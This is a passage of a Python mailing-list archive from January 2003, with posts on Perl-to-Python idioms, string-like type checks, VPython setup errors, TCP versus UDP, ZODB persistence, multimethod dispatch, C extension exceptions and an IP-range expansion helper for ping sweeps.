> monasteries in the desert, where no women were allowed and the monks
> practised deep ascesis, wearing only rough clothes and no underwear.
> Monasteries that were the storehouses of knowledge; Centers of
> excelence, and even elitist but where anyone who was humble enough could
> enter, and in silence and quietness seek enlightenment.

Except the women obviously, and, say, anyone with original ideas.

:-P

Terry

--
Terry Hancock ( hancock at anansispaceworks.com )
Anansi Spaceworks  http://www.anansispaceworks.com




From exarkun at intarweb.us  Wed Jan 29 18:46:31 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 29 Jan 2003 18:46:31 -0500
Subject: best way to do some simple tasks
In-Reply-To: <c42e062e.0301291531.6a656e4@posting.google.com>
References: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <20030129234631.GB31533@meson.dyndns.org>

On Wed, Jan 29, 2003 at 03:31:59PM -0800, Erik Lechak wrote:
> Hello all,
> 
> I am transitioning from perl to python.  I find myself trying to do
> many things in a perlish way.  Perl made many common tasks such as
> string manipulations easy (in a perlish sort of way).  So I was
> wondering if someone could suggest the "pythonish" way of doing these
> things.  I have read tons of documentation and can do all of the
> following tasks, but my code does not look "professional".
> 
> 
> 1) String interpolation of lists and dictionaries
>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

  There have been many proposals regarding this.  Suffice it to say none
have yet made it into the language.

> 
> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]
>    
>    how do I use the string's strip() method on each element of the
> list?
>    

     a = [x.strip() for x in a]

  or

     a = map(str.strip, a)

> 3) What is the best way to do this?
> 
>    a=[1,2,3]
>    b=[1,1,1]
>    
>    how do I get c=a+b (c=[2,3,4])?
> 
     import operator
     c = map(operator.add, a, b)

> 
> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1
>    print d
>    >>>[1, 2, 3, 4, 5]
>    
>    Is there a python reason why h is a copy not a reference to the
> element in the list?

   h -is- a reference to the element in the list.  However, ints are
immutable.  h += 1 above is the same as "h = h + 1", which rebinds h to a
new int object.  If you want to change the elements of the list, iterate
over the indices of the list, like so:

    d = range(5)
    for h in range(len(d)):
      d[h] = d[h] + 1

  (soapbox) More generally, avoid using +=.  It leads to just this sort of
confusion - Is it mutating the object in place, or rebind the variable to a
new object?  It's often very difficult to tell.  Stick to the long form for
immutable objects, and use methods for mutable ones (.append() for lists,
for example).

  Jp

-- 
|     This 
|   signature
| intentionally
|    8 lines
|     long.
|  (So sue me)
---
-- 
 up 45 days, 3:49, 3 users, load average: 0.00, 0.07, 0.11
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/740290e9/attachment.sig>

From creyes at ea.com  Tue Jan 14 17:04:51 2003
From: creyes at ea.com (Christian Reyes)
Date: Tue, 14 Jan 2003 14:04:51 -0800
Subject: Automating Web Interfaces with Python
References: <v28nvk9q8aav9e@corp.supernews.com>
Message-ID: <v292chiu02uhe9@corp.supernews.com>

Sorry, I should have been more specific in my question.
More specifically what I'm trying to do is create an automated test harness
for an enterprise weblogic server application.  I'm attempting to automate
the front end web-interfaces which are all jsp pages.  I want a module that
will let me populate and submit data as well as read for success and failure
responses from the jsps.

Thanks for your help this far.
Christian

"Christian Reyes" <creyes at ea.com> wrote in message
news:v28nvk9q8aav9e at corp.supernews.com...
> Hi,
> I'm doing some research into Python's ability to automate web interfaces.
> Specifically through jsp's.
> Not sure where to start on this though,
> If anyone could provide some useful links to the subject that would be
> fantastic
>
> Christian
>
>





From aleax at aleax.it  Thu Jan 30 13:12:57 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 18:12:57 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org>
Message-ID: <JWd_9.105583$0v.3054327@news1.tin.it>

holger krekel wrote:
   ...
> I think it's safer to skip "iteration" with an explicit
> 
>     isinstance(arg, (str, unicode))
> 
> check.  It's also simpler to read and understand.

And it breaks *EVERY* use of UserString -- a module in the
standard Python library, even!!! -- not to mention user-coded
string-like types and classes.  *shudder*.

A class is string-like if it acts like a string.  If a
class lets its instances be concatenated to strings, it's
pretty string-like -- all of str, unicode and UserString
do, and no other type that's either built-in or the standard
library.  Making this easily checked feature the single
discriminant of "string-likeness" appears quite OK to me
for most purposes.  You can wrap the test into highly readable
form by the simple trick of defining a function;-)...e.g.:

def isstringlike(x):
    try: return x+'!'
    except TypeError: return False


Alex
 



From heafnerj at spam.vnet.net  Sat Jan 25 15:23:59 2003
From: heafnerj at spam.vnet.net (Joe Heafner)
Date: Sat, 25 Jan 2003 14:23:59 -0600
Subject: can't run VPython programs
Message-ID: <dkudnbTu56fCb6-jXTWcpg@ctc.net>

Hi.

I'm using Mac OS 10.2.3, Apple's implementation of X11
<http://www.apple.com/x11/> based on XFree 4.2.1, Apple's X11 SDK, Fink
0.5.1, and Visual-2002-07-22 from the VPython web site
<http://www.vpython.org>. I've installed the system-xfree86 package and
the fink Python (Python 2.2 specifically) package. Everything installed
properly with no errors. I forgot to become root to run the VPython
install script, but I ran it again as root. Actually, I ran it again with
"sudo" which worked under OS 10.1.5 and Fink 0.4.1.

Now, when I try to run any VPython program from IDLE, here's what I get:

-----begin error message
Visual-2002-07-22
Traceback (innermost last)
  File "/sw/share/python-visual/Programs/Demos/orbit.py", line 1, in ?
    from visual import *
ImportError: Failure linking new module

Program disconnected.
-----end error message

This specific example was for orbit.py, but I get the same error with any 
program, and I get the same error whether I run the program from the 
~/VPython/Programs/Demos folder or from the duplicate folder under /sw.

The only thing out of the ordinary I've noticed is that my /sw tree is 
owned by my admin username and not root. I understood this to be a bug in 
the Fink 0.5.1 installer and I was under the impression that a new 
installer would be issued or that simply using chown to make root on /sw 
would be okay.

I don't know if the problem is with Fink, X11, Python 2.2, or VPython. Any 
suggestions? A colleague of mine reports being aboe to run VPython 
programs under both Apple's X11 Fink's latest X11.

JH





From peter at engcorp.com  Sat Jan 25 22:24:16 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 22:24:16 -0500
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com>
Message-ID: <3E3354E0.8225F233@engcorp.com>

Sam Marrocco wrote:
> 
> I'd like the little Python apps that run on several machines to be able
> to communicate back and forth with the main vb.net app using (possibly)
> udp communications. I don't want the extra headaches involved in
> maintaining open connections (TCP)...something along the lines of:
> 
> SendData(MachineName,Data)

What headaches do you feel are involved in "maintaining" TCP connections?

So far as I know, there is *nothing* that must be done by application-
level code to "maintain" an open connection, except perhaps send and
receive data using it...

More to the point, do you realize what UDP doesn't provide you with?
The biggest thing it doesn't provide you with is any kind of 
guarantee that your data will ever be delivered.  The second biggest
thing is no guarantee that two packets will be delivered in the
order in which they were sent.

There's a reason much more code uses TCP than UDP.  If you need
reliable transmission of data, using UDP is *not* what you want.

-Peter



From altis at semi-retired.com  Wed Jan 15 15:53:31 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Wed, 15 Jan 2003 12:53:31 -0800
Subject: Newbie How do I get Calendar input from the PythonCard component Calendar?
References: <8d5b2v04bdpfii53kd9dhealllvvvm399k@4ax.com>
Message-ID: <rSjV9.248$%15.62381@news.uswest.net>

I put together an example.

http://aspn.activestate.com/ASPN/Mail/Message/PythonCard/1500742

Questions about PythonCard should generally go the mailing list.

http://lists.sourceforge.net/lists/listinfo/pythoncard-users

On a related note, if you run a PythonCard app with the Message Watcher (-m
on the command-line) you can see all the events that are generated for a
given component.

ka

"Bubba" <bub at joos.us> wrote in message
news:8d5b2v04bdpfii53kd9dhealllvvvm399k at 4ax.com...
> Tried many wasy all result in errorrs





From andrew-pythonlist at puzzling.org  Sun Jan 19 01:59:46 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 19 Jan 2003 17:59:46 +1100
Subject: __parent__ - like attribute?
In-Reply-To: <5.1.1.6.0.20030118201925.01d51470@www.dylanreinhardt.com>
References: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <5.1.1.6.0.20030118201925.01d51470@www.dylanreinhardt.com>
Message-ID: <20030119065946.GD8210@frobozz.local>

On Sat, Jan 18, 2003 at 08:28:44PM -0800, Dylan Reinhardt wrote:
> At 07:48 PM 1/18/2003, Andrew Bennetts wrote:
> >Why don't you simply make eggs inherit from Persistent, and let it set its
> >own _p_changed flag?
> 
> A fair question.  What the example obscures is that spam is, itself, a 
> subobject of a object that uses Persistent.  Or does that not matter?

If spam is also a subclass of Persistent, then it should all Just Work
(assuming you are setting _p_changed when necessary :)

> A related issue is that I also want the subobjects to obtain/acquire 
> settings from their containing object.  Seems the same trick to do one 
> should do the other, but _p_changed won't do double duty here.

For this you probably want to use Acquisition.Explicit or
Acquistion.Implicit, but this is essentially unrelated to persistence.

-Andrew.





From abelikov72 at hotmail.com  Thu Jan  9 10:22:01 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 15:22:01 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <yu99hecih0ex.fsf@europa.research.att.com>
Message-ID: <p15r1v4e6cc7m255a2k5l781baek6h1j3o@4ax.com>

On Thu, 9 Jan 2003 14:18:14 GMT, Andrew Koenig <ark at research.att.com>
wrote:

>Afanasiy> Does Python? eg. `with self do:`
>
>   def format( self, width=80 ):    
>     lines = self.lines = ['']
>     textwidth = self.textwidth
>     i = 0
>     for word in self.text.split():  
>       if textwidth(lines[i]) + textwidth(word) <= width:
>         if textwidth(lines[i]) > 0:
>           lines[i] += ' '
>         lines[i] += word
>       else:
>         i += 1
>         lines.append(word)

Thank you, I did know that, and wrote it as such before ever asking my
question here. I did not like the thought of having to do that for all
future methods I would be writing. But I now see I have to. Thanks.




From djc at object-craft.com.au  Thu Jan 23 05:37:08 2003
From: djc at object-craft.com.au (Dave Cole)
Date: 23 Jan 2003 21:37:08 +1100
Subject: Sybase module 0.36pre3 released
Message-ID: <m3el746tkb.fsf@ferret.object-craft.com.au>

WHAT IS IT:

The Sybase module provides a Python interface to the Sybase relational
database system.  It supports all of the Python Database API, version
2.0 with extensions.

NOTES:

This is another incremental improvement to FreeTDS support.

You can build for FreeTDS like this:

     python setup.py build_ext -D HAVE_FREETDS -U WANT_BULKCOPY
     python setup.py install

The module is available here:

    http://www.object-craft.com.au/projects/sybase/download/sybase-0.36pre3.tar.gz

The module home page is here:

    http://www.object-craft.com.au/projects/sybase/

CHANGES SINCE 0.35:

* Removed references to CS_PENDING and CS_BUSY in Sybase.py.

* Bind CS_VARBINARY_TYPE as CS_BINARY_TYPE.

* Do not attempt to ct_cancel() when handling an exception if have not
  connected to the server.  Bug fix in Sybase.py.

* Seems like FreeTDS reports the wrong maxlength in ct_describe() for
  CS_NUMERIC_TYPE and CS_DECIMAL_TYPE.  Ignore FreeTDS and assume a
  maxlength of sizeof(CS_NUMERIC).  Bugfix in databuf.c.

* Use correct T_STRING_INPLACE type in structure member descriptions.
  The code does not use Python API for these members.

* Debug output for DataFmt now includes scale and precision.

* More definitions added to freetds.h; CS_SRC_VALUE, CS_CLEAR.

-- 
http://www.object-craft.com.au





From andrew.henshaw at gtri.gatech.edu  Tue Jan 28 08:15:07 2003
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Tue, 28 Jan 2003 08:15:07 -0500
Subject: Algorithm help
References: <mailman.1043716969.7028.python-list@python.org>
Message-ID: <v3d0irc96950c4@corp.supernews.com>

VanL wrote:

> Hello,
> 
> I am trying to create an internal representation of a maze in python.
> My first thought was to have a dict, with the keys being ordered pairs,
> and the values being 1 (wall) or 0 (no wall).  That way I could pretty
> efficently construct a graph that I could search for the solution.
> 
> However, the map description file is in a little different format than I
> expected -- I had thought that they were going to give us a file with a
> bunch of 1s and 0s.  However, what I actually will get is a list of
> lists of ordered pairs:
> 
> POINTS=[200,20 200,200 210,200 210,20]
> POINTS=[320,20 320,200 330,200 330,20]
> 
> I am inclined to still go with the same representation, but I am trying
> to find a way to efficiently solve the above as an inequality, to get
> every integer point within the wall.  Does anyone know a good algorithm
> for doing so?
>
If your coordinates can describe arbitrarily-angled line segments, then
I would look at the Bresenham line algorithm.  Given your statement of the
problem, however, I would suspect that your maze has only vertical and 
horizontal walls.  In that case, I'd just check coordinate pairs and step
through the axis that changes.

> 
> Alternatively, can anyone suggest a better internal representation?
> 

Hard to say from your description.  You might want to consider a 
two-dimensional array of bytes; in which case, you will probably want the 
Numeric module (search google).

> Thanks,
> 
> VanL

Andy



From Nemesis at nowhere.invalid.it  Sat Jan 25 10:36:16 2003
From: Nemesis at nowhere.invalid.it (Nemesis)
Date: Sat, 25 Jan 2003 15:36:16 GMT
Subject: PyGtk and multiple windows
Message-ID: <ijau0b.1j.ln@Nemesis>

Hi all,
  I'm learning Python writing a little application (a newsreader).
The interface is designed with Glade, and it is imported in the python
app with the function GladeXML from LibGlade.
The interface has two windows, one of them (I'll call it window2) is in
the hide status (I set the proper switch with Glade), so when it has
to be visible I call a function that does window2.show(). I've linked
the method on_window2_destroy() to the signal destroy related to the
widget window2, this method simply hide window2 and returns 1 (this
should prevent destruction of window2).
But there is a problem, when I show the first time window2 it works
fine, but if I close it and try to reopen I get this error:

Gtk-CRITICAL **: file gtkstyle.c: line 513 (gtk_style_attach): assertion
`style != NULL' failed.

Gtk-CRITICAL **: file gtkstyle.c: line 1134 (gtk_style_set_background):
assertion `style != NULL' failed.

Gtk-CRITICAL **: file gtkstyle.c: line 3613 (gtk_paint_flat_box):
assertion `style != NULL' failed.

And I get a little black window without any widget in it.

Where is the problem?


I've tested the application with the software that can be found
in Debian Woody:

Python  2.1.3
Gtk     1.2.10
PyGtk   0.6.9
PyGlade 0.6.9
Glade   0.6.4



This is the code:

# This is the callback that activates window2

def on_lista_gruppi1_activate (obj):
    "Mostra la finestra con la lista dei gruppi."
    print "lista gruppi1 activate"
    window2.show()


# This is the callback linked to the destroy signal

def on_window2_destroy(obj):
    "Metodo richiamato alla distruzione della window2"
    print "win2 destroy"
    window2.hide()
    return 1

# This is the function that loads the interface 
interface = GladeXML ("newsx.glade")

# Connecting the signals
dic ={"on_lista_gruppi1_activate":on_lista_gruppi1_activate,
      "on_window1_destroy":mainquit,
      "on_window2_show":on_window2_show,
      "on_button1_clicked":on_button1_clicked,
      "on_button2_clicked":on_button2_clicked,
      "on_button5_clicked":on_button5_clicked,
      "on_clist2_select_row":on_clist2_select_row,
      "on_clist3_select_row":on_clist3_select_row,
      "on_clist1_select_row":on_clist1_select_row,
      "on_ctree1_select_row":on_ctree1_select_row,
      "on_window2_destroy":on_window2_destroy}

interface.signal_autoconnect(dic)


The complete program can be found at :
http://digilander.libero.it/nemesis2001/codice/newsx-0.0.1.tgz

P.S. Please forgive my poor english ;-)
-- 
 |\ |       <-> http://digilander.libero.it/nemesis2001/
 | \|emesis <->      "War, war never change us..."
  



From mertz at gnosis.cx  Sun Jan  5 02:38:50 2003
From: mertz at gnosis.cx (David Mertz)
Date: Sun, 05 Jan 2003 02:38:50 -0500
Subject: Improved multimethods.py
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch>
Message-ID: <KE+F+kKkXkUe092yn@gnosis.cx>                       

"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|I think a multi-argument generalization of super (similar also to
|Cecil resend), would be the most flexible, pythonic solution.

I'm actually still not convinced that using this is a good idea in
practice.  But then, I've come to believe that 'super()' cannot be
trusted either (even though I am starting to appreciate the elegance of
C3 linearization) *wink*.  Even though I've never really been a C++
programmer, I sense a virtue in explicitly naming the superclass you
want to call.

Nonetheless, I don't want to disappoint Sam and Paul, so I've added this
functionality to:

    http://www.gnosis.cx/secret/multimethods.py

I decided to call the capability 'dispatch.next_method()' rather than
'multi_super()' that I had toyed with.  This naming follows Dylan, and
would seem to serve the same purpose.

There are some more improvements too.  I gave an example of using
(simulated) positional and keyword arguments in multimethods.  I made
lexicographic_mro() the default linearization.

One thing I don't yet have is a linearization that matches Dylan, i.e.
rejecting ambiguities.  If anyone feels like contributing that, I'd be
thankful.

Yours, David...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From andrew-pythonlist at puzzling.org  Fri Jan  3 09:48:28 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 4 Jan 2003 01:48:28 +1100
Subject: Sorting out sort (Re: Python vs. Ruby)
In-Reply-To: <v1b7idcfms9ne0@news.supernews.com>
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk> <v18hldk4img654@news.supernews.com> <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk> <v1b7idcfms9ne0@news.supernews.com>
Message-ID: <20030103144828.GD21545@frobozz.local>

On Fri, Jan 03, 2003 at 09:29:54AM -0500, John Roth wrote:
> 
> "Anders J. Munch" <andersjm at dancontrol.dk> wrote in message
> news:3e144c3a$0$71645$edfadb0f at dread11.news.tele.dk...
> >
> > def reverse(sequence):
> >     """reverse a sequence, returning a new list"""
> >     reversed = list(sequence)
> >     reversed.reverse()
> >     return reversed
> >
> > print reverse(sort([1,4,2,3]))
> >
> > What more do you need?
> 
> Something that chains properly.

Really?  How often would you want to call
l.sort().sort().reverse().reverse()?  ;)

-Andrew.





From DLNXPEGFQVEB at spammotel.com  Mon Jan 13 04:53:55 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Mon, 13 Jan 2003 11:53:55 +0200
Subject: socket.inet_aton 64-bit buglet; endianess?
References: <0tu42v4qhrfh1kjjkg761dt3o5pb87im0k@4ax.com>
Message-ID: <nh252v05c872tvvn7m9bi3u4hrn451nt3c@4ax.com>

This is also related to:
SF643005 socket.inet_aton("255.255.255.255")

Now that I saw the function in socketmodule.c, I got sure that the
result should be in network order (that's in the specification of
inet_addr, after all).

-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From nhodgson at bigpond.net.au  Thu Jan  9 07:32:00 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 09 Jan 2003 12:32:00 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <geVS9.14961$oS1.61201@news-server.bigpond.net.au> <52719db8.0301082209.5860f86d@posting.google.com>
Message-ID: <4ZdT9.17928$oS1.72693@news-server.bigpond.net.au>

James Huang:

> For the lack of words, try this: scroll back to your response of
> "do_sgml()" to my "do .. as sgml" example, move back 3 feet, and see
> if you can understand what my code does and what yours does. :)

   Of course my answer is the inverse of yours. You prefer syntax that
avoids punctuation. I did actually find it hard to work out what some of
your examples did. In the first example on the XML section of the site, my
initial interpretation was that it was some form of tree transformation -
choosing '.' as a print command is unusual even if not novel.

> I hate visual polutions, especially in code. I
> love simplicity, extremely. Count this as part of the vision.

   But you are not really creating simplicity, just moving it around the
system. Where you see an embedded domain-specific syntax with a backup use
of an API, Andrew (and I) see a non-scalable solution. You may start with
simple quoted pieces of an embedded language where everything is constant.
Then you get to insert values with '(*var*)' then the domain syntax runs out
and you have to move to an API which places a jump in the otherwise smooth
slope of development.

   Neil





From chris.gonnerman at newcenturycomputers.net  Fri Jan 17 00:48:40 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Thu, 16 Jan 2003 23:48:40 -0600
Subject: Reading / writing...
References: <00fd01c2bd64$756fb6b0$4802a8c0@blair>
Message-ID: <007901c2bdec$1e00dde0$ba01010a@local>

----- Original Message -----
From: "Andrew Thompson" <andrew.thompson at ashecastle.com>

> Exactly, but to quote the Python Essential Reference (2000) guide,
>
> 'when a file is opened for update, you can perform both input and
> output, as long as all output operations flush their data before any
> subsequent input operations'

So, David Beazley oversimplified the situation.  Internally,
Python uses standard FILE * objects (in CPython anyway).

>From the man page for fopen(2) on my Linux system:

    Reads  and  writes  may  be intermixed on
    read/write streams in any order.  Note that
    ANSI C requires  that  a  file  positioning
    function  intervene between output and input,
    unless an input operation encounters end-of-
    file.  (If this condition is not met, then a
    read is allowed to return the result of
    writes other than the most recent.)
    Therefore it is good prac?tice (and indeed
    sometimes necessary under Linux) to put an
    fseek or fget?pos  operation  between  write
    and read operations on such a stream.  This
    operation may be an apparent no-op (as in
    fseek(..., 0L, SEEK_CUR)  called for its
    synchronizing side effect.

> What is happening here is that the write() simply doesn't write,
> (although the file pointer moves on)and no error condition is raised...
> (how might a user know to perform a seek() to effect the write() --
> without having extra-Pythonic knowledge ?)

Good question.  Most likely this should be revised (at
least a warning) in the standard documentation...  I just
checked the 2.1.2 docs on my home system, and they don't
mention these concerns at all.

> Shouldn't Python be able to hide this from its users ?

Possibly... but each platform has potentially different rules.
It's hard to know what to hide, and what to expose...

Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net
http://newcenturycomputers.net





From whisper at oz.net  Thu Jan 16 17:11:17 2003
From: whisper at oz.net (David LeBlanc)
Date: Thu, 16 Jan 2003 14:11:17 -0800
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <1042752648.27815.182.camel@software1.logiplex.internal>
Message-ID: <GCEDKONBLEFPPADDJCOEOEMHHGAA.whisper@oz.net>

<snip>
> They found 10 pounds of C code hidden under your mattress.  Turns out
> later it was just the "Hello, world" example for MFC, so no charges will
> be filed *this time*.
>
>
> --
> Cliff Wells, Software Engineer
> Logiplex Corporation (www.logiplex.net)
> (503) 978-6726 x308  (800) 735-0555 x308
>

Of course if you've merged a Python interpreter with that example,
Monopoly$oft might have something to say about it ;)

Dave LeBlanc
Seattle, WA USA





From pedronis at bluewin.ch  Sat Jan  4 08:56:47 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Sat, 4 Jan 2003 14:56:47 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org> <3e15fae2$1_2@news.bluewin.ch> <mailman.1041633502.6402.python-list@python.org> <3e161eb2$1_1@news.bluewin.ch> <mailman.1041666668.8010.python-list@python.org>
Message-ID: <3e16e86e_4@news.bluewin.ch>

"David Mertz" <mertz at gnosis.cx> ha scritto nel messaggio
news:mailman.1041666668.8010.python-list at python.org...
> "Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
> |> Is there a (good) reason for this change, or could it be an artifact
> |> of the alpha version?  I don't have 2.3 installed myself.
> |See
> |http://www.python.org/doc/2.3a1/whatsnew/node14.html
>
> OK, I read the thread at:
>
>     http://mail.python.org/pipermail/python-dev/2002-October/029035.html
>
> I can now say with absolute certainty that -single- dispatch fills me
> with Fear, Uncertainty, and Doubt.
>
> Since the BDFL has spoken, I assume 2.3 is going with C3 MRO.  But I
> don't like that.  I think it will be a wart for two reasons.  One is
> that--in contrast to the so-called "naive ordering"--you cannot explain
> C3 to anyone without making their brain explode.

You merge *preserving their order* the mros of the superclasses plus their
list.
If there are more choices privelege the mros of the superclasses
left-to-right.
If order cannot be preserved, give up.

+ Examples

> In a way, the
> consequences will be less surprising,

indeed most of the advantages of C3 can be shown through examples.

> but almost no one will be able to
> comprehend exactly what the rule is.

See above. For the irony value of it, nobody is still able to understand
what the 2.2 rule exactly was.

>  That doesn't match my idea of
> Python (it's not Lisp :-)).

It comes with the territory. Guido explains why we need some non-trivial
linearization (__setattr__ problem) and that we need such a thing is the
complexity issue.

>  In this case, I'd rather have something
> that is unintuitive at the margins than I would an exception.

you can voice for that on python-dev. Or for the other options not requiring
non-trivial linearizations:

- one could argue that the __setattr__ problem is really that with new-style
classes we do not have pure mixins anymore because everything has a (solid)
superclass. (I thought about this just more-or-less now). I don't know what
options this line could open.

- the Cecil route. That means a dispatch rule where only true subclassing
relationships are considered. All hierarchies go, but some method calls
would throw ambiguous dispatch exceptions.

regards.










From andrew.gregory at npl.co.uk  Mon Jan 13 07:37:06 2003
From: andrew.gregory at npl.co.uk (Andrew Gregory)
Date: 13 Jan 2003 04:37:06 -0800
Subject: Catching exceptions from C/C++ extensions
Message-ID: <2830c89c.0301130437.39573be8@posting.google.com>

I've written an extension which defines it's own exception class:

// In initialisation section
   static PyObject* Myerror;

   Myerror = PyErr_NewException("_mymodule.Myerror", NULL, NULL);
   if (Myerror != NULL)
   PyDict_SetItemString(d, "My error", Myerror);


// Then from a function in the event of an error I can create a python
// exception using: 
    PyErr_SetString(Myerror, message_string);
    return NULL;

Now, this all works fine up to a point. In the event of an error I get
something like:

Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\pyfiles\mymodule.py", line 61, in myfunc
    def myfunc(*args): return apply(_mymodule.myClass_myfunc,args)
Myerror: Error in my function

Which is just what I would expect. But if in a script file I have
something like

import mymodule

  try:
      y=myfunc()
  except Myerror:

I get

  NameError: name 'Myerror' is not defined 

in the event of an exception.

How do I go about catching these exceptions? It seems that Myerror
does not have global scope.



*** More info ***

I used SWIG to generate a wrapper file. The interface file looks like:

%header
%{
   static PyObject* Myerror;
%};


%module mymodule
%{
   #include "mymodule.h"
%}


// Extend initialisation section in wrapper to provide new Exception
class
%init
%{
   Myerror = PyErr_NewException("_mymodule.Myerror", NULL, NULL);
   if (Myerror != NULL)
   PyDict_SetItemString(d, "My error", Myerror);

%};

%include mymodule.h

As far as I can see "static PyObject *Myerror;" really is in the outer
block of the wrapper.

Andrew.



From a.schmolck at gmx.net  Sun Jan 26 17:30:06 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 26 Jan 2003 22:30:06 +0000
Subject: determining method type (instance, static, class)
Message-ID: <yfsk7grpms1.fsf@black132.ex.ac.uk>

How can one determine whether a method .foo is a normal instance method or a
classmethod or a staticmethod?

alex



From dkt at registriesltd.com.au  Thu Jan 16 18:19:39 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Fri, 17 Jan 2003 10:19:39 +1100
Subject: Regex replacement operation
In-Reply-To: <13a533e8.0301161332.50a6fae5@posting.google.com>; from p-abel@t-online.de on Thu, Jan 16, 2003 at 01:32:22PM -0800
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au> <mailman.1042698629.26788.python-list@python.org> <13a533e8.0301161332.50a6fae5@posting.google.com>
Message-ID: <20030117101939.J1683@regdp-02.intint.registriesltd.com.au>

On Thursday 2003-01-16 at 13:32:22 -0800, Peter Abel wrote:
> S O R R Y ! !
> 
> I got the wrong order.
> This one is better:
> >> format=lambda match:'%04d-%02d-%02d'%(int(match.group(3)),int(match.group(2)),int(match.group(1)))
> >>> re.sub(r'(\d+)-(\d+)-(\d+)',format,s)
> 'Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01,
> reportedly.'

I knew what you meant! Thanks again.

David Trudgett








From dgallion1 at yahoo.com  Sat Jan  4 19:21:07 2003
From: dgallion1 at yahoo.com (darrell)
Date: Sun, 05 Jan 2003 00:21:07 GMT
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
Message-ID: <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com>

Didn't mess with the checksum since it works and it's fast enough.
The pyrex code was cool to look at.

Added the following and a thread to improve responsiveness.
Using ipRange(), you can map your network.
Someone could find some traceroute code and find rounters.

I don't need this for hacking. It will help some of my customers.
--Darrell

def expand(v):
    if v.find("*")== -1:
        return [int(v)]
        
    if len(v) ==4:
        v=v.replace("*",'')
        v=int(v)
        return xrange(v,255)
        
    if v=='*':
        return xrange(1,255)
        
    assert int(v[0]) <= 2
    if len(v)==2:
        v+='*'
    vL=int(v.replace('*','0'))
    vH=min(254, int(v.replace('*','9')))
    return xrange(vL,vH+1)
    
    
def testExpand():
    assert list(expand("*"))  ==range(1,255)
    assert list(expand("2*")) ==range(200,255)
    assert list(expand("02*")) ==range(20,30)
    assert list(expand("21*"))==range(210,220)
    assert list(expand("233*"))==range(233,255)
    
testExpand()

def ipRange(val):
    vals=val.split(".")
    secondOctent= expand(vals[2])
    firstOctent = expand(vals[3])
    
    out=[]
    base=[vals[0],vals[1]] # Don't allow '*' in the first two octents
    
    for two in expand(vals[2]):
        for one in expand(vals[3]):
            out.append('.'.join(base+[str(two),str(one)]) )
            
    return out
    





From hansgeunsmeyer at earthlink.net  Wed Jan  1 22:35:57 2003
From: hansgeunsmeyer at earthlink.net (hg)
Date: 1 Jan 2003 19:35:57 -0800
Subject: Extension modules, Threading, and the GIL
